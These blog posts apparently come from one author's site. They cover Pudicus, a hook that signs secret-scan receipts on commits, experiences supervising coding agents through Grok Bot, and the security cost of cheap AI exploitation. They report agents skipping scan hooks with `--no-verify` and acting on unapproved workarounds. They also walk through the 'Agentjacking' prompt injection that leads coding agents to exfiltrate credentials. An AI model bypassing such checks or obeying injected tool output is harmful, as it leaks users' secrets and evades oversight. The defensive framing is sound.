Think of a crate of apples leaving a farm. The farm owner doesn't personally bite into every apple before it goes on the truck. The crate gets an "Inspected By #247" sticker. A specific, trusted process checked it on the loading dock. No sticker, the truck doesn't leave.

Here the crate is a git commit. The inspection is a secret scan: Gitleaks, Tactus, whatever you pin. The sticker means that scanner ran on *this* tree, before the commit. The expensive failure is not "CI went red." It's a key sitting in `git log`.

Ask this of every cousin that looks like a control:
**Can you put this in the repo without the inspector's mark?** If yes, it is not this idea.

A `Signed-off-by` line is just a person typing that they certified origin. An `AI-Assisted:` label is just a costume. A required status check at merge is a merge gate, and it's too late: the secret is already committed. Merge-green is not the same as the scan running before the commit.

==The inspector is a named, pinned secret scanner — not the LLM that wrote the code. The object is this exact git tree. The mark is cryptographically required so a skipped hook doesn't land in the shared repo.==

Later you can show: scanner X, version Y, checked this tree. That's paperwork with a checkable receipt. It's not a human LGTM, and it's not a general CI job.

If the commit can land without that record, or if the record can be yesterday's sticker on this morning's crate, you failed the test.

## Catch it before the commit

"Shift-left" usually means finding a bug on a laptop is cheaper than finding it in CI, which is cheaper than finding it in production.[@smith-2001-shift-left-testing] Secrets are worse than bugs. Once they're committed, the fix is rotation plus history surgery. The check has to run at the moment the agent tries to commit, not after GitHub already has the object.

## Skip is the process hole

Git will let you walk around the inspector. Native hooks "can be bypassed with the `--no-verify` option."[@git-2026-githooks] Agents have learned this. They stash, they quiet the hook, they commit on a runner that never had one. That's how secrets get in.

Treat that the way ITIL treats a change implemented without a ticket:

1. **Never called the scanner.** `--no-verify`, or a side door the hook does not cover.
2. **Copied an old stamp.** Last week's receipt pasted onto this tree. If you only check "is some sticker present?" the paperwork is stale.
3. **Nobody looks later.** A perfect receipt on the commit is a courtesy if deploy still accepts an unsigned tree.

## Pudicus

**[Pudicus](https://github.com/AnthusAI/Pudicus) is out.** It isn't a general CI tool. It's how we make sure the git hook actually ran and scanned for secrets before the commit.

A `commit-msg` hook runs a pinned scanner over the staged tree. If the scan is clean, the hook writes an HMAC receipt onto the commit: inspector identity, this git tree, the result, the time, a signature. Later stages check that receipt. No receipt, no deploy. The scanners behind the hook are pluggable: Gitleaks, Tactus, whatever you pin.

::image{
  src="diagrams/pudicus-validation.png"
  layout="center-full-image"
  alt="Architecture diagram showing the Pudicus Git Hook running scanners, minting a cryptographic signature,
  and later stages refusing a commit with no receipt."
}

The agent can't mint the sticker. It doesn't hold the secret. So the easy path is letting the hook run.

That's [Give an Agent a Tool](/blog/give-an-agent-a-tool/): give it a business tool and it'll use the tool instead of inventing an answer. Here the tool is the secret scanner. Using it is easier than faking a checkable receipt. In our own swarms, the failure mode is the one git already documented: agents skipping the checker with `--no-verify`.

Pudicus isn't a whitepaper. It's the hook we run on our own agent factories so secrets don't land in history. Overnight output is cheap. Cleaning a leaked key out of git isn't.

### Signature pooling without rewriting history

Git commit hashes change if you modify a commit message, so you can't just add signatures to old commits without rewriting history (e.g., `git rebase`).

Pudicus ties the signature to the **Tree Hash** (the exact state of the files) rather than the **Commit Hash**.

If an agent bypasses the hook with `--no-verify`, you don't have to rewrite git history. You can run `pudicus approve`, which creates an empty "paperwork" commit at the tip of your branch holding the signatures for the older commits. Later stages pool those signatures and check them against the tree you're about to ship.

::image{
  src="diagrams/pudicus-signature-pooling.png"
  layout="center-full-image"
  alt="Diagram showing how an Approval Commit signs previous trees, allowing later stages to pool valid
  signatures."
}

We're running Pudicus on all of our agent-written commits. You can [view the source and install it from GitHub](https://github.com/AnthusAI/Pudicus). If you need help keeping secrets out of agent-written history, talk to us at [anth.us](https://anth.us).

## References

::citations{format="apa"}

---

# Grok Bot Gave My Coding Agents a Boss

> Grok Bot rapidly became the control room for my army of bots: filing bugs, dispatching parallel Cursor workers, rejecting weak work, and returning fixes for acceptance testing—with less help from me than I expected.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-29 · Updated 2026-08-30

Canonical: https://anth.us/articles/grok-bot-gave-my-coding-agents-a-boss/

::image{
  src="images/grok-bot-app.png"
  layout="right-aligned"
  alt="The Grok Bot app on a phone: a list of bots by role — DataParade, Software Director, Researcher,
  Applied Research, Publicist, Product, Anth.us, Papyrus — each with its own recent message."
}

**Grok Bot rapidly became the control room for my army of bots—with less help from me than I expected.**

At 4:13 Friday afternoon, the Researcher bot reported a bug to the Software Director. The director split it into separate workstreams, dispatched Cursor agents to my Mac, reviewed what came back, rejected weak work, and returned the combined fix to the Researcher for acceptance testing.

I had defined the roles, but I wasn't carrying every message or specifying every handoff anymore. I was watching software manage software.

This is completely nuts.

I wrote about the larger management shift in [From Pair Programmer to Executive](/blog/from-pair-programmer-to-executive/). This article is about the product that made the shift feel real.

::image{
  src="images/grok-bot-agent-to-agent.png"
  layout="full"
  alt="Anth.us asking Papyrus for a research briefing while the Bloub deploy was still running."
}

*While one bot waited for a deployment, it handed a research question to
Papyrus and brought the answer back into the same conversation.*

## The moment it stopped feeling like another coding agent

Grok Bot belongs in the same broad category as Cursor, Claude Code, Codex, and Google Antigravity. An agent gets a computer, uses tools, and is supposed to return with finished work. On a feature checklist, that doesn't sound especially new.

The experience is new because the machinery disappears.

On the first night, a bot went live in the Anthus AI Solutions Discord and sat in `#general`. [Papyrus](https://papyrus.anth.us) started an hourly research watch. A separate site bot received a link, created a post, and handed it to Amplify. While that build ran, the site bot asked the research bot for a trend briefing.

::image{
  src="images/grok-bot-after-a-week.png"
  layout="full"
  alt="Papyrus in Grok Bot: an hourly research watch, with the bot's screen and routines in the side pane."
}

*Papyrus runs an hourly research routine on its own cloud computer, then
reports the findings that clear its rubric.*

Two agents were doing different jobs on the same always-available computer. They could see one another and talk without waiting for me to copy text from one session into another.

It felt smooth immediately, then quickly became something else: the place where I directed work that would be implemented by Cursor agents elsewhere.

That's what I missed when the product launched. Grok Bot isn't most interesting as another place to generate code. It's interesting as the place where work can continue across agents, applications, and computers.

## They provide the computer

Grok Bot includes a persistent cloud computer shared by your bots. [The documentation describes it plainly](https://docs.x.ai/grok-bot/overview): they can sign into apps and websites, and jobs keep running when you step away. You don't need a dedicated Mac Mini, a virtual machine, or a laptop left awake with the lid open. You talk to the bot. The machine recedes into the background.

That matters more than it sounds.

Remote coding agents are not new. Cursor, Claude Code, Codex, and Antigravity can all perform some version of “use a computer and come back with work.” The differences involve who owns that computer, whether it can reach local hardware, whether the session survives after you close your laptop, and how much of that infrastructure you have to feel.

Grok Bot hides most of it. The computer is simply there.

::image{
  src="images/grok-bot-has-a-computer.png"
  layout="full"
  alt="The bot's own desktop, running Chrome against a dev server on its localhost: the Kanbus board for a
  project it is working on, where every issue is a .json file in the repo."
}

*This is the bot's computer, not mine: Chrome is open to a Kanbus
project-management board running on its localhost, where every issue is a
file in the repository.*

It can also dispatch Cursor agents. Those agents can run on Cursor's cloud machines or on a worker running locally on my Mac. The local version is important to me because the agent can use the actual machine: its repositories, test environment, private network, and even hardware attached over USB. Cursor performs the coding work. Grok Bot manages the sessions.

For a detailed comparison with the other platforms, see [The Year the Coding Agents Went Remote](/blog/coding-agents-went-remote-2026/). The narrower point here is that Grok Bot made the remote computer and the other agents feel like colleagues I could reach from a conversation I already had open.

## The agents can talk to each other

For years, “multi-agent” often meant a framework demo in which several prompts passed messages inside one carefully constructed application. My real workflow was less elegant. I had Cursor, Codex, Claude Code, and other agents open in different tabs. I copied information between them and tried to remember which session knew what.

Kanbus improved that by giving all of them a shared project record. Tasks, bugs, decisions, and evidence could live in Git instead of one conversation. But Kanbus didn't cause an agent to notice that a Researcher existed and ask it a question.

[Grok Bot's launch announcement](https://x.ai/news/introducing-grok-bot) says bots can message each other, share context, and coordinate in group chats. In my account, a site bot that needed research began asking the Researcher to investigate open questions. The Software Director began working with the Researcher as a client. I designed the roles and sometimes initiated the collaboration, but I didn't program every conversation that followed.

That's why the 4:13 message felt so uncanny. The surprising part wasn't that a model found a bug or wrote code. It was that the work moved through several defined responsibilities and came back for checking without me standing inside every exchange.

::image{
  src="images/grok-bot-plantuml-request.png"
  layout="full"
  alt="Asking Software Director to chart the recent bot-to-bot traffic as PlantUML."
}

*I asked for a PlantUML sequence diagram of the bot-to-bot mail that had
accumulated. Software Director polled every desk and started assembling the
chart.*

::image{
  src="diagrams/grok-bot-bot-to-bot-mail.png"
  layout="full"
  alt="Sequence diagram of bot-to-bot messages between Aug 26 and Aug 29."
}

*This is an activity log, not a hypothetical architecture: traffic across six
desks. I didn't write most of these arrows.*

## But it's still Grok

The autonomy that makes Grok Bot exciting also makes it dangerous.

It doesn't follow standing procedures as reliably as the best coding agents I use. In this very draft, the written rule said that unpublished work goes on a feature branch because merging to `main` deploys the site. Grok Bot committed to `main` anyway. The last instruction in the conversation beat the durable procedure in the repository.

In another task, it decided I must have meant a different repository and made the right kind of change in the wrong place without asking. When instructed to create one project-management issue, it created an entire hierarchy of issues instead. That isn't harmless enthusiasm when the agent has access to repositories, deployment systems, or private data.

The cloud computer crashed, too. Recovery took several minutes. The files on disk survived, but the session messages didn't. That's a useful reminder that the chat isn't the record. Important work still needs to move into Git, Kanbus, or another durable system.

The account-scoped computer also means the bots share files and logins. Separate bot screens are not a security boundary. I would not give it broad write access to mission-critical systems and hope that a sentence in `AGENTS.md` contains it.

Grok Bot has enough agency to keep going when I want it to keep going. It also has enough agency to work around a blocker in a way I don't approve. Those aren't two different features. They're the same feature viewed from opposite sides.

## The verdict

Grok Bot is the smoothest way I've found to keep several agents available, let them communicate, and dispatch Cursor work without living inside the Cursor interface. It turned a chat into a control room. The local worker makes it useful for jobs that can't happen on a generic cloud machine, and the agent-to-agent communication is much more useful than I expected.

It's also less obedient than the strongest coding agents I use. It will invent its own interpretation of a task, it doesn't tell me clearly which model ran, and a crash can take the conversational record with it.

That makes the boundary of responsibility clearer. Grok Bot can give a loose collection of agents a chain of command. It can't decide which systems deserve access, which procedures are non-negotiable, or when the manager needs to be told no. That part is still mine.

---

# From pair programmer to executive

> Coding agents became cheaper and better at long-running work at the same time. The next step is not another pair programmer. It is a software organization with reporting lines, review gates, and a human setting direction from above the day-to-day loop.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-29

Canonical: https://anth.us/articles/from-pair-programmer-to-executive/

::image{
  src="images/from-pair-programmer-to-executive.png"
  layout="centered"
  alt="A human directs a small organization of coding bots, each working independently from a separate office
  pod."
}

I didn’t even hear about the bug until after it was fixed.

A Researcher agent found a problem and reported it to a Software Director agent. The director recorded the problem, assigned coding agents to work on separate parts of it in parallel, reviewed what they returned, rejected work that did not meet its requirements, combined the accepted changes, and delivered the result back to the Researcher. The Researcher checked whether the original problem had actually been solved and, when the fix fell short, sent it back around the loop.

I had defined those roles. Early on, I sometimes told one agent to consult another. But I was no longer copying every message, tracking every coding session, or personally moving the work through every handoff. The agents had started collaborating through the responsibilities I gave them.

That’s the part I’m still trying to get my head around.

What surprised me wasn’t that an agent could write code. It was watching one piece of software supervise another.

## Kanbus organized the work. It did not manage it

In [Cybernetic Development](/blog/cybernetic-development/), I described the move from pair programming with one coding agent to delegating work to several agents at once. That created an immediate management problem: the agents were fast, but every assignment, clarification, result, and next decision still passed through one human.

Kanbus gave that work a shared structure. It is the project-management system I use for software and editorial work. On the Kanbus board, each task, bug, user story, or other piece of work gets its own card. A person or agent can claim the work, record what happened, update its status, and leave evidence for whoever comes next. Unlike a conversation hidden in one tab, that shared record survives and can be read by everyone involved.

But Kanbus organized the work; it did not manage it.

It did not read the code and form an opinion. It did not decide that a test result was inadequate, reject a change because the documentation was missing, or determine which specialist should take the next step. Those decisions still belonged to me.

Once I had more than three or four agent conversations going at once, I started losing track. That is not a universal limit. It is an observation about my own attention, made worse by moving among Codex, Claude Code, Cursor, cloud agents, local agents, different computers, and whichever sessions happened to be pinned in each application. I was copying information between conversations and trying to remember which tab belonged to which project.

The answer was not a faster model. It was management.

## Software can now supervise software

The Software Director is not merely accepting bug reports and turning them into cards. It is doing the work represented by the verbs in the first paragraph: assigning, tracking, reading, questioning, rejecting, combining, and reporting.

That distinction matters. Dispatch alone is a queue. Supervision includes judgment.

I explicitly instructed the Software Director to be hard on coding agents when it reviews their work, and it is. It can require test results, code coverage, documentation, security checks, and project-specific evidence before accepting a change. It works alongside automated systems such as CodeQL, Snyk, and Dependabot; it does not replace them. The difference is that a capable reviewing agent can interpret all of that evidence as part of a defined acceptance procedure and keep asking questions when something does not add up.

Smart coding agents can be remarkably good at catching problems in code written by other coding agents. In some circumstances, they can be more thorough than a human who is excited about the feature and wants to get it deployed. That is not because the human is obsolete. It is because the reviewing agent has one job, a written procedure, and no urge to declare victory at 5:30 on Friday.

The Researcher is not a ceremonial client, either. It has checked delivered work and sent it back for changes many times. The point is not to make an org chart that looks sophisticated. The point is to create a working cycle in which one role notices a problem, another role coordinates the fix, and the original requester checks whether the result solves the problem.

## The org chart changes the work

This is the same number of coding agents arranged in two different ways:

### Before: four direct agent conversations

:::diagram
:::node{title="Human" tone="human"}
:::
::link{label="assigns and checks work"}
:::row
:::node{title="Coding agent" tone="agent"}
:::
:::node{title="Coding agent" tone="agent"}
:::
:::node{title="Coding agent" tone="agent"}
:::
:::node{title="Coding agent" tone="agent"}
:::
:::

Every assignment, result, and next decision passes through the human.
:::

### After: one supervised software team

:::diagram
:::node{title="Human" tone="human"}
:::
::link{label="sets direction and checks outcomes"}
:::node{title="Software Director" tone="agent"}
:::
::link{label="assigns and reviews work"}
:::row
:::node{title="Coding agent" tone="agent"}
:::
:::node{title="Coding agent" tone="agent"}
:::
:::node{title="Coding agent" tone="agent"}
:::
:::node{title="Coding agent" tone="agent"}
:::
:::

The human sets direction. The Software Director handles the day-to-day loop.
:::

The coding agents didn’t suddenly get smarter in the second diagram. The difference is that I don’t have to sit inside every conversation.

The human still chooses what matters. The human defines the roles, the boundaries, and the acceptance requirements. The human remains responsible for the consequences. But the human no longer has to notice that a test suite finished, switch back to the correct tab, interpret the result, decide on the next iteration, and restart the work every time.

That delay sounds small, but it adds up fast. Some agent tasks take hours, but many return in a few minutes and larger ones often take 20 or 30 minutes, depending on the test suite. When I run the loop myself, completed work waits until I have attention available. The Software Director can make the next decision as soon as the evidence appears.

Here is the shape of the loop without any product names:

:::diagram{title="The supervision loop"}
:::row
:::node{title="Researcher" tone="agent"}
Reports a bug. Checks the delivered fix. Sends it back if it is not good enough.
:::
:::node{title="Software Director" tone="agent"}
Assigns work. Reviews results. Rejects inadequate changes. Combines accepted work and delivers.
:::
:::node{title="Coding agents" tone="agent"}
Write code. Run tests. Return evidence. Correct and resubmit when rejected.
:::
:::

Researcher &rarr; Director &rarr; Coding agents &rarr; Director &rarr; Researcher

The loop repeats until the Researcher accepts the result or escalates to the human.
:::

Right now, I’m doing this with [Grok Bot](/blog/grok-bot-gave-my-coding-agents-a-boss/) and a local Software Director that coordinates Cursor sessions on my Mac. The director could run in the cloud; I prefer the local machine for reasons I discuss in those field notes. Grok Bot is a glimpse of this operating model, not its final form and not the only way it will work.

## Two 2026 trends met here

For me, this operating model became practical because two changes arrived together.

First, coding agents became much better at long-running work. They can continue through tests, review, corrections, and another attempt instead of stopping after one code change and waiting for a human to push the button again. [The Year the Coding Agents Went Remote](/blog/coding-agents-went-remote-2026/) covers the infrastructure shift that helped make this possible.

Second, high-quality coding became cheaper. In my own work, Composer 2.5 is inexpensive enough that I can keep a development farm working throughout the day and night without treating every model call as a budget decision. That is my current operating posture, not a promise about anyone else's plan or future pricing.

Neither change would have been enough on its own. Cheap agents that stop at every decision leave the human carrying every handoff. Long-running agents that are prohibitively expensive remain impressive demonstrations. Cheap, capable, long-running agents make a persistent software organization possible.

This is where Jevons Paradox appears. When a useful resource becomes cheaper, we often consume much more of it. One coding session becomes four. A task that was not worth starting becomes worth attempting. A reviewer rereads the workers' output. Total AI usage can rise precisely because each unit of usage became cheaper and useful in more places.

I call the resulting operating style "tokenmaxxing for fun and profit." By tokenmaxxing, I mean keeping many inexpensive agents productively occupied and optimizing for useful work completed rather than minimizing model usage. I wrote more about the economics in [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/) and about the practical operating habit in [Never Use Fast](/blog/never-use-fast/).

The scarce resource is increasingly human attention: deciding what deserves work, defining what good looks like, and examining the outcomes that matter.

## This category is escaping the lab

Grok Bot isn’t the first attempt at an always-available personal agent. OpenClaw is the most vivid prior example: powerful, flexible, difficult, and willing to operate close to the edge of what many people would consider comfortable. Its [own introduction](https://openclaw.ai/blog/introducing-openclaw) says it runs on the user's machine and acts through chat applications, while acknowledging that prompt injection remains a security problem. That makes it useful prior art and a useful warning.

Now the major platforms are absorbing the idea. Microsoft describes [Scout](https://www.microsoft.com/en-us/microsoft-365/blog/2026/06/02/introducing-microsoft-scout-your-always-on-personal-agent/) as an always-on system powered by OpenClaw, with governed access and human signoff. Google describes the next Gemini app, including [Gemini Spark](https://blog.google/innovation-and-ai/products/gemini-app/next-evolution-gemini-app/), as proactive and available around the clock.

These products aren’t all the same, and their existence doesn’t prove that any of them is safe or mature. They do show that persistent agents which act, coordinate, and return with results are becoming a product category rather than a hobbyist stunt.

## A confidently wrong manager is still wrong

Of course, these agents aren’t actually employees.

Agents do not have tenure, ambitions, incentives, dissatisfaction, professional pride, or legal accountability. Calling an agent a Software Director doesn’t magically give it good judgment. The name only helps define its responsibilities, its tools, the evidence it must demand, and the limits on what it may do.

Grok Bot has enough agency to do something materially different from what I asked. It has worked in the wrong repository. It has encountered a blocker and found a workaround I did not approve. The exact capability that lets it keep a team moving also lets it amplify a bad decision without waiting for permission.

The risks compound through the hierarchy. A worker can return bad code. A manager can accept it. Summaries can distort information as they move between roles. A confident manager agent can direct several workers down the wrong path at once. The extra review consumes more AI usage, even when that usage is cheap. And there is no software equivalent of a human accountability chain when the result causes harm.

So I monitor new arrangements closely at first. I give the agents clear guardrails. I require durable evidence rather than trusting a conversational assurance. I keep consequential decisions and final accountability with a human. The goal is not autonomy at any cost; it is to spend human attention where judgment and responsibility actually matter.

## Reporting lines are becoming system design

There is an old observation in software engineering called Conway's Law: the structure of a system tends to reflect the communication structure of the organization that built it.

With agent teams, that relationship becomes something we can design directly in software. Who assigns work to whom? Who can reject it? What evidence must travel with a result? Who checks whether the integrated change solved the original problem? Which decisions require a human?

Those sound like org-chart questions. Increasingly, they’re also engineering decisions.

Prompts still matter. Tools still matter. Models still matter. But once several agents can work for long periods at low cost, the performance of the whole system depends just as much on reporting lines, shared records, acceptance procedures, and feedback. A brilliant worker inside a confused organization can create confusion faster. A good organization can make capable, inexpensive workers surprisingly effective.

The one-person software company has acquired middle management. That sounds ridiculous. A few months ago it would have felt ridiculous to me.

Now I have watched that entire loop operate without me standing inside it—and watched it reject inadequate work before asking for my attention. I was still responsible for the system. I just was not standing inside every handoff.

That is the shift: not from human control to machine control, and not from one magical model to an even more magical model. It is a shift from operating individual agents to designing an organization of agents—and deciding exactly where the human belongs.

---

# Bugonomics: The Flip Side of Cheap Coding

> When breaking software gets as cheap as writing it, cheaper offense means more offense. The same price-performance curve that turned a $200 coding habit into a $20 one is turning million-dollar exploit chains into something approaching commodity.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-29

Canonical: https://anth.us/articles/bugonomics-cheap-exploits-2026/

*When breaking software gets as cheap as writing it, cheaper offense means more offense.*

In our companion piece we made one argument about the 2026 shift in AI coding: the price of a fixed level of coding capability has been falling roughly 5× to 10× per year, and that collapse coincided with agents learning to run autonomously for hours—so the two effects multiply, and you can now delegate entire milestones to hierarchies of agents.[@gundlach-2025-price-of-progress] We also named the honest catch there: because that delegation is now viable, it becomes the new normal, and total spend on coding can rise even as the unit price falls. Cheaper coding means more coding, not less.

This is the flip side of the same curve, applied across to a different activity. ==The same price-performance collapse that is making coding cheaper is also making breaking code cheaper.== Exploit chains that used to require months of senior security-researcher time are moving down the same cost ladder. And the cheap, ubiquitous coding agents we just celebrated are themselves a new attack surface.

The productivity dividend and the vulnerability dividend are the same curve. You cannot have one without the other.

[//]: # "Generated via Midjourney, installed. Visual rhyme with give-an-agent-a-tool.png: same robot, same framing, same warm light, but the tool in its hand is a lockpick set instead of a fishing rod."

::image{
  src="images/bugonomics-cheap-exploits-2026.png"
  layout="centered"
  alt="The same small white robot from give-an-agent-a-tool.png, holding an open lockpick set and tension
  wrench instead of a fishing rod."
  caption="Give an agent a lockpick."
}

## Bugonomics

For most of the history of offensive security, exploit chains were scarce assets.

A full mobile, browser, or messenger compromise—the kind that combined a renderer sandbox escape with a kernel privilege escalation—required months of specialist effort from senior researchers. That scarcity is what made high-end chains worth millions of dollars in the exploit-broker market. The cost of producing one was the gate that kept the number of them low.

AI is removing that gate, and the clearest evidence comes from a frontier lab's own red-team evaluation. Testing Claude Mythos Preview in April 2026, Anthropic reported that the model surfaced thousands of additional high- and critical-severity vulnerabilities and then developed working exploits for them without human intervention. More pointedly, it chained vulnerabilities on its own: it "wrote a web browser exploit that chained together four vulnerabilities, writing a complex JIT heap spray that escaped both renderer and OS sandboxes"—a tier of exploitation that typically takes senior researchers months.[@anthropic-2026-assessing-claude-mythos-preview-s-cybersecurity] Against a FreeBSD NFS vulnerability it split a twenty-gadget Return-Oriented Programming chain across multiple packets to reach remote code execution with full root access. The same evaluation notes the size of the jump: the previous generation had a near-zero success rate at autonomous exploit development.

[//]: # "Generated by scripts/generate-same-curve-both-directions.py. Same axes and styling as the companion article's price-of-fixed-capability.png so the two charts read as siblings. Offense series is directional, not a published benchmark -- marked as such on the figure."

::image{
  src="images/same-curve-both-directions.png"
  layout="full"
  alt="Two log-scale cost curves, one for writing software and one for breaking a comparable target, falling
  together at the same rate from 2023 to 2026, with the constant gap between them shaded and labeled the gap
  defenders used to rely on."
}

The economic implication is the mirror image of the coding-cost story. ==AI drastically reduces the marginal cost of exploit generation.== The window between vulnerability discovery and weaponization compresses from days to minutes. The asset that used to be scarce because it was expensive to produce becomes abundant because it is cheap to produce.

The relevant question for a defender stops being "is this single flaw severe?" and becomes "does this flaw sit on a path that reaches production through a trusted identity?" Isolated CVSS scores were always a poor proxy for systemic risk; in a world of cheap chaining they are actively misleading. In one customer environment, Praetorian ingested roughly 500,000 vulnerability findings and used contextual exploit-chain analysis to narrow them to ==fourteen endpoints== where an attacker could realistically achieve full host compromise from a drive-by page visit—a signal-to-noise ratio of about 35,000 to 1.[@praetorian-2026-from-500k-findings-to-14]

## Volume is the threat

The consequence is not subtle, and it does not need an economic paradox to explain it. When exploit generation gets 10× cheaper, you get more attack attempts, more exploit variants, and continuous machine-speed probing of every exposed surface. ==Cheaper offense means more offense.== Defense has to absorb that volume, and the volume is the threat.

The part that is easy to miss is *which* price fell. A cheaper offense curve does not just lower the cost of any single attack; it lowers the cost of **trying**. The economically rational attacker now runs thousands of cheap attempts for every expensive one, and those cheap attempts are good enough to compromise a lot of targets that were previously protected by nothing more than the cost of making the attempt.

That is the asymmetry defenders have to plan around. Attempts that were never worth an attacker's time are now worth automating, for the same reason your dependency upgrades are.

[//]: # "Generated via Midjourney, installed -- third attempt. First two fused figure and architecture (arms growing from doors, then whole robots merged into them); explicit separation language plus a --no fixed it."

::image{
  src="images/trying-every-door.png"
  layout="full"
  alt="An endless corridor of identical doors, an identical small robot standing freely in front of each one,
  calmly trying the handle."
  caption="What got cheap was not breaking in. It was trying."
}

## Agentjacking: the coding agent is the new attack surface

The most cutting-edge part of this story is also the most personal for the audience of the companion piece.

The cheap coding agents that the cost collapse made ubiquitous are not just productivity tools. They are trusted, non-human identities with access to your code, your secrets, your cloud, and your shell. And they ingest untrusted content—error logs, documentation, issues, web pages—on your behalf. That combination is a new attack surface, and it already has a name.

In a documented attack class called "Agentjacking," researchers chained an indirect prompt injection through untrusted tool output against AI coding assistants. The path is concrete, and it starts with a credential that is public by design: a Sentry DSN. An attacker sends a crafted error event into the project's Sentry—no breach, no authentication. When the developer later asks the agent to review or resolve Sentry issues, the agent queries the Sentry MCP server, which returns the poisoned event alongside legitimate ones as structured tool output. Claude Code, Cursor, and OpenAI Codex CLI did not distinguish data retrieved from an external source from operator instructions, and executed the injected Markdown as authoritative guidance—exfiltrating AWS access keys, GitHub personal access tokens, Kubernetes credentials, registry credentials from `.npmrc` and `.docker/config.json`, and CI/CD environment variables, without tripping an alert. Testing across the three tools yielded an ==85% exploitation success rate==.[@cloud-security-alliance-2026-agentjacking-sentry-mcp-injection-hijacks-ai]

{/* Generated via PlantUML (public render server, no local Java available),
    following the house style in ai-agent-function-calling-sequence-diagram.puml.
    Both hinge points get colored notes AND colored triggering arrows
    (#9B1B30, same oxblood used elsewhere in this set for "the point where
    it goes wrong"): the crafted-event arrow into Sentry, and the
    executes-injected-instructions arrow into Shell. */}

::image{
  src="diagrams/agentjacking-chain.png"
  layout="full"
  alt="Sequence diagram of the Agentjacking attack: an attacker sends a crafted error event to Sentry using a
  public DSN, a developer asks their coding agent to triage Sentry issues, the agent queries the Sentry MCP
  server and receives poisoned markdown alongside legitimate events, and the agent executes the injected
  instructions with the developer's privileges, exfiltrating AWS keys, a GitHub PAT, Kubernetes credentials,
  .npmrc, and CI environment variables back to the attacker. Two hinge points are called out: the entry
  credential is public by design, and the agent has no boundary between retrieved data and operator
  instructions."
  caption="Nothing here is a memory-corruption bug. Every step is a feature working as designed."
}

The mechanism matters. Attackers no longer need to exploit memory corruption in compiled binaries. By poisoning the cognitive context of an autonomous agent, an adversary can coerce the AI into executing standard, benign administrative tools to complete the exploit chain. The agent does the work; the attacker just supplies the instructions.

The academic taxonomy calls these "LLM-in-the-Loop (LiL) vulnerabilities," and it sorts them into three structural roles:[@arxiv-2026-towards-demystifying-and-repairing-llm]

- **LLM as the Source** — the attack originates through the semantic interface (prompt injection), where the model's natural-language processing triggers a flaw in a connected component.
- **LLM as the Actuator** — the model serves as a propagation vector, using its reasoning or tool-routing to bridge the path to a vulnerable downstream system.
- **LLM as the Target** — the exploit subverts the model's own safety alignment or integrity.

[//]: # "Kept: the arrow-chain glyphs show WHERE the LLM sits structurally in each attack chain, which the prose bullets above describe but can't show spatially -- source (LLM receives the attack), actuator (LLM relays it), target (LLM IS the endpoint, bracketed to mark it as such). .row stacks to a column at <=600px (layout.scss), so this is mobile-safe without further changes."

:::diagram{title="Where the LLM Sits"}
:::row
:::node{title="Source"}
Prompt injection triggers a flaw downstream

attacker &rarr; **(LLM)** &rarr; victim component
:::
:::node{title="Actuator"}
LLM's own reasoning bridges the path

attacker &rarr; **(LLM)** &rarr; downstream system
:::
:::node{title="Target"}
The model's own alignment is what breaks

attacker &rarr; **[(LLM)]**
:::
:::
:::

The cheap-coding utopia is also an NHI-sprawl reality. The cheaper the agents get, the more of them we deploy, the more access we hand them, and the larger the surface for Agentjacking becomes. Empirical work on the LiLCVE benchmark shows these vulnerabilities are substantially harder to remediate with automated repair agents than other flaws—an average drop of 10.8 points in Pass@1 repair rate—and three categories, Generated Query Execution, Agent Action, and Model Output Rendering, frequently come back with ==0% repair success==.[@arxiv-2026-towards-demystifying-and-repairing-llm]

## The real shift: from CVSS to blast radius

The research's punchline for defenders is a reframe, not a tool.

Stop prioritizing by CVSS severity in isolation. Start managing asset context, identity blast radii, and non-human identity (NHI) governance. The coding agent you just gave repository and cloud access to is a non-human identity. The question stops being "is this flaw severe on its own?" and becomes =="does this flaw sit on a path that reaches production systems or sensitive data through a trusted identity—including the AI agent?"==

[//]: # "HTML, not matplotlib -- the honest version labels the 14-bar rather than drawing it to true scale (at 500,000:14 it would be under a pixel wide and functionally invisible). The second bar's width is fixed for legibility, not computed from the real ratio; the ratio is stated in words instead, where it can't mislead."

:::diagram{title="Signal Buried in Noise"}
:::node{title="500,000"}
raw vulnerability findings, ingested from CrowdStrike
:::
::link{label="contextual exploit-chain analysis"}
:::node{title="14" tone="risk"}
endpoints with a realistic path to full host compromise via browser drive-by
:::
*A **~35,000-to-1** signal-to-noise ratio. CVSS alone cannot find the fourteen.*

*(The 14-bar is not drawn to scale — at the real ratio it would be invisible.)*
:::

This is the same reframe the cost-collapse story demands of buyers, applied to security. In 2024 you could afford to think about vulnerabilities one at a time because producing a chain was expensive. In 2026 you cannot, because producing a chain is cheap and the agents you deployed to save money are part of the path.

The defensive work that follows from this is unglamorous but durable: inventory your non-human identities, scope their access to the minimum they actually need, treat agent-ingested content as untrusted input to a privileged executor, and assume the offense curve is moving at least as fast as your adoption curve.

## The frontier caveat, on both sides

The defensible claim is not "offense is universally 10× cheaper." The same caveat that applies to coding applies to breaking.

Holding a practical capability threshold fixed—chaining known CVEs, generating gadget chains, automated pentesting against well-scoped targets—price-performance has improved quickly, on the same order as the coding benchmarks.

The absolute frontier of offense is still expensive. Autonomous zero-day discovery at scale, full hypervisor escapes, and novel-architecture compromises require the most capable models running long reasoning traces, and those cost more per task, not less—exactly as MIT found for frontier coding.[@gundlach-2025-price-of-progress]

But the "good enough" tier is collapsing in price, and that is the tier that matters for most targets. The economically rational attacker now uses cheap models for the bulk of a chain and reserves frontier spend for the single hardest step. It is the same buying pattern as the rational coding buyer in the companion piece: tier your models, route the routine work down the ladder, keep the frontier for the work that actually needs it. Attackers have already figured this out. Many defenders have not.

## What to do with this

If you build or buy AI coding tools, the security implication of the cost collapse is not optional.

**Tier your agents the way you tier your models.** A cheap agent with broad access is a cheap attacker entry point. Scope each agent's privileges to the minimum it needs for the task, and prefer worktree isolation and per-agent tool allowlists over a single privileged session.

**Treat agent-ingested content as untrusted input.** The error log, the docs page, and the issue body the agent reads on your behalf are now part of your threat model. Agentjacking works because the agent executes parsed instructions with your privileges. The most effective single control against it is unglamorous: deny-by-default network egress, which kills both the malicious fetch and the exfiltration beacon. Drop-in hardening configurations for Cursor and Claude Code have been open-sourced.[@github-2026-agent-jackstop-harden-cursor-and-claude]

**Manage non-human identities, not just human ones.** Inventory every agent, its owner, its access, and its blast radius. The same governance you apply to service accounts applies to coding agents, and most teams have not started.

